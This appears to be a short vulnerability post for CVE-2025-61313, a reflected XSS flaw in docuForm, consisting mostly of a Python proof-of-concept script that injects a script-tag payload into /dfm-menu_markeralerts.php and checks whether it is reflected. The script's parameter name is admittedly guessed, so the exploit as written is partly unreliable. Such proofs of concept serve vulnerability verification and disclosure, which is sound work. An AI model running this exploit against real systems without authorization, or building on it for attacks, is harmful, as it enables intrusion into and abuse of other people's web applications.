CVE-2025-61313: docuForm反射型XSS漏洞

import requests def verify_xss(target_url): """ PoC for CVE-2025-61313 Reflected XSS """ # The vulnerable endpoint endpoint = "/dfm-menu_markeralerts.php" # Malicious payload to inject # Using a simple script tag to test execution payload = "<script>alert('CVE-2025-61313')</script>" # Construct the full URL with the payload # Assuming the vulnerable parameter name is 'id' or similar based on common patterns # The exact parameter name should be verified against the source code or advisory attack_url = f"{target_url}{endpoint}?vuln_param={payload}" try: response = requests.get(attack_url, timeout=5) # Check if the payload is reflected in the response body if payload in response.text: print(f"[+] Vulnerability confirmed! Payload reflected in response.") print(f"[+] Attack URL: {attack_url}") return True else: print("[-] Payload not reflected. May be filtered or parameter incorrect.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://target-host.com" # Replace with actual target verify_xss(target)